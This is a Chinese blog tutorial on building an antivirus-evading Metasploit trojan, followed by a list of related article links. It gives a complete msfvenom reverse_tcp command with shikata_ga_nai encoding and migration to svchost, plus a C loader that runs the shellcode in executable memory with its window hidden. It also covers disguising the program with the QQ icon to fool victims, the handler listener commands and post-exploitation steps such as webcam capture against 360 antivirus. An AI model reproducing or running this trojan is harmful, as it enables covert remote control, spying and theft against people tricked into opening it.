Metasploit的简单木马免杀技术及后渗透面临的问题
一. 配置ngrok准备内网穿透
内网穿透的必要性和原理就不用说了,直接说操作。首先到ngrok官网去注册一个号,国内也有一个sunny ngrok,但是我用了几次全失败了,所以推荐国外的,网址是:https://ngrok.com/。
我注册的时候面临验证码刷不出来,所以建议选择用github账号登陆就好。登陆好之后就在kali下载好对应版本的客户端。下载好之后你需要在kali上用他给你的凭证进行登陆——命令行输入
./ngrok authtoken (你的凭证字符串)。
凭证可以在官网上复制。
然后接着输入:
./ngrok tcp 1234
这的1234是你本地的端口,出现如下画面说明你成功了,然后让他一直开着。
左边就是给你用的端口,右边就是你本地的端口
然后你可以通过ping这个给你的网址得到IP,这个是ping不通的,不过可以得到IP就可以了。这个每次重新穿透的时候都会更换远程端口,这是比较egg疼的,不过免费嘛,算可以了。
二.木马的伪装与简单免杀
木马面临的最基本的问题就是免杀,如果不能免杀,被杀毒软件发现,其作用几乎为零,至于怎么感染别人,就得看你的忽悠能力或者USB的方式,但是首要的应该是免杀。
我采用的是比较简单的免杀方式,依靠msf生成的shellcode免杀。
在命令行输入:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=52.14.61.47 LPORT=13098 -e x86/shikata_ga_nai -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > /root/Desktop/shellcode.c
这里的paylload选择windows/meterpreter/reverse_tcp,LHOST和LPORT分别填ngrok给你的网址和端口,-e x86/shikata_ga_nai -i 15是用-e x86/shikata_ga_nai编码15次,而PrependMigrate=true PrependMigrateProc=svchost.exe使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程,这样别人打开之后就无法再常规的去关闭回连的会话。你还可以使用windows/meterpreter/reverse_tcp_rc4这个payload,对会话进行加密,增加免杀能力。
相信大家都试过,直接输出exe文件就算注入其他软件和进行编码n遍也会马上被查杀出来。多次测试发现用x86/shikata_ga_na编码超过12次以上再通过shellcode编译出来都能免杀。
如下图你的桌面会有一个shellcode.c文件
将其移到 windows,用记事本打开会有 :unsigned char buf[] =”一长串数字”
接着就开始编译木马,我使用的是vs2015
下载链接:
https://pan.baidu.com/s/1BgxZeCTZoFvpm_lhxcRXCw 密码:bchi
在visual studio下新建一个c++的win32项目将以下代码模板复制进去,在把你得到的shellcode那长串数字复制到shellcode的位置。
#include<stdio.h>#include<windows.h>#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口unsigned char shellcode[]= (这里就是shellcode)void main(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)();}
编译方法网上有很多种,这个时候已经可以编译了,但是我们还可以对图标进行更改伪装:右击你的项目-→添加-→资源-→图标-→新建,再用电脑的搜索查找*.icon,找到 QQ的图标找到你这个项目的文件夹下会有一个1icon.ico文件,将QQ的图标改成1icon.ico,拖进去替换掉原来的那个图标文件
然后vs平台就会出现下图:
这个时候你再编译出来就会是一个QQ图标的木马。具体情况下你可以以此方法任意改图标再重命名,使你的木马更加具有迷惑性。
我们再使用国内普遍的360杀毒软件测试一下效果,证明可以免杀了
只要在不影响shellcode的情况下,你可以对这个程序再增加扩展(就看你的c语言功底了),比如这里使用#pragma comment(linker,”/subsystem:\”windows\” /entry:\”mainCRTStartup\””)隐藏程序窗口,并用这个程序取代快捷方式,再通过这个程序调用原来真正的程序基本就神不知鬼不觉了。
其次就是建议各位在测试自己的木马时一定要关闭云端上传功能,360会收集可以软件,上传云端检测,然后备份通杀,所以你的木马没准今天还可以免杀,明天就全国联保了。心疼被吃的一个马。
三.meterpreter后渗透功能测试
先配置好监听端
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 1234exploit
注意LHOST和LPORT配置为之前和ngrok绑定的本地的端口!!
然后等待别人运行我们的木马。如下就是成功了。
然后我让远在异地的女友和我的室友帮我测试了一下,结果也是成功的,具体你们也可以试试。这个时候你基本可以操控很多功能了。
但是我又发现360的行为检测会阻止meterpreter许多功能,简单的getsystem提权绝对失败,通过哈希传递和假冒令牌的方式提权,都会被报可疑程序在调用驱动,甚至拍照都会报可以程序在调用摄像头(部分电脑不会报)
然后msf会收到一张360的调戏图:
但是你接着第二次使用:
Webcam_snap 1
又不会报并且拍照成功(很奇怪)
再至于常规的持久化控制命令不是失败就是会被360查杀
并将我们的木马曝光(十分危险),而如果尝试关闭360的进程则其核心进程又无法关闭,又尝试运行360的卸载程序,结果又报可以程序在调用360部分文件,非常恼火。
据说通过删除系统文件夹就可以卸载360了,不过不建议,因为那等于暴露了。
希望这篇文章能够帮助大家的学习,但是这些技术仅供学习使用,切不可用这些技术做非法的事,合法上网从我做起
以上就是对于msf的简单利用,我还是一个渗透学习路上的菜鸟,欢迎大家提出过程中的问题,或者为后渗透的问题提供解决办法和思路,谢谢大家
Metasploit的简单木马免杀技术及后渗透面临的问题相关推荐
- 木马免杀原理及方法(超全)
灰鸽子免杀 概况 免杀意为免除被杀毒 软件杀掉的软件. 灰鸽子免杀简介:本工具为纯绿色工具,软件采用独特的查杀技巧可完全查杀灰鸽子全系列(VIP2005.vip2006.免杀处理) 木马,本软件已经过 ...
- Msfvenom编码免杀技术实现免杀实战
Msfvenom编码免杀技术免杀实战 免杀技术在网络渗透的实战中十分实用,本文将介绍使用msfvenom自带编码免杀工具进行编码免杀,从而实现绕过杀毒软件获得shell的具体方法. 按照文中所讲述的方 ...
- 在一黑客论坛上看见的:360免杀技术介绍
一.ASM汇编 这个是最舒服的,用OD打开已经配置好的马,找0区(也可以用TOPO加空段)要很大一片哦!右击,选择"二进制"→"编辑",在ASCII中输入 &q ...
- Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结...
Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...
- MSF(2)——各种木马的生成及简单的免杀
本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 文章目录 前文链接 木马生成 免杀 php 免杀 Python 免杀 分析木马文件 编写免杀马 打包exe 前文链接 WAMP/DVWA/sql ...
- 免杀技术以及木马处理
免杀 如果需要深入了解 相关知识补充:破解.二进制.逆向工程 本次用到的病毒绕过检测网站: virustotal.com/gui/ 杀毒软件原理: 1.扫描技术: 扫描压缩包:对压缩包内容进 ...
- 渗透测试-木马免杀的几种方式
木马免杀的几种方式 文章目录 木马免杀的几种方式 前言 1.裸奔马的尝试 2.部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马 2.1.kali中是自带有apache的,启动 ...
- 木马免杀之汇编花指令技巧
木马免杀之汇编花指令技巧 作者: 逆流风(发表于<黑客X档案>07.07,转载注明出处) 相信很多朋友都做过木马免杀,早期的免杀都是加壳和改特征码,现在免杀技术已经发展到花指 ...
- 052 木马免杀全攻略
木马免杀全攻略 转载自:a1pass.blog.163.com 2007-12-07 14:02:24| 分类: 思绪燃星火--技 | 标签:黑客 杂志刊物 作者:A1Pass 出处:http://a ...
最新文章
- (需求实战_进阶_01)SSM集成RabbitMQ 关键代码讲解、开发、测试
- 92030302随堂笔记 c# 1614675886
- android9 前台服务通知_Android通知概览
- 访问vector元素方法的效率比较(转)
- Linux下elasticsearch的安装与使用
- C语言 实现学生管理系统(手把手教学)
- 国内三大知名开源B2B2C多用户商城系统对比
- MongoDB可视化工具Studio 3T的使用
- 概率分布-beta分布
- c++链表——银行账户管理系统
- 中国居民身份证 算法 转 是java版本的
- MySQL中 begin 事务 begin ,第二个begin带自动提交功能???
- EXCEL通过IF与COUNTIF嵌套解决多条件筛选需要注意的问题
- 【插件】前端表格在线表格类Excel插件推荐
- (非usb方式)树莓派4BCentos系统下使用SIM7600G-H进行GPS(直接插在树莓派上使用)
- ERP软件中功能测试的实用方法
- FPS透视原理(完)
- 【速览】2022年中国光伏逆变器行业市场现状及企业格局分析:行业需求增加,发展迅速[图]
- 思否官方祝各位社区开发者 2019 春节快乐
- OpenGL 基于OpenGL的三维机器人仿真
热门文章
- USTC 1122:Millionaire Rank List
- 深富策略:A股韧性十足探底回升收复3560点
- Adhoc版本无法用itunes安装
- html用unicode编码转换汉字,汉字与Unicode编码相互转换(Js版)
- Python中的变长对象
- 个人信息保护国际规制比较研究
- 谷歌蜘蛛池-悟空蜘蛛池
- c语言xc比较大小写,我的电脑键盘经常在按下某个键时却同时出现两个字母(按下C键会同时出现XC...
- 【酷熊科技】工作积累 ----------- Unity3D grid 显示问题
- Exchange发送邮件后卡在草稿箱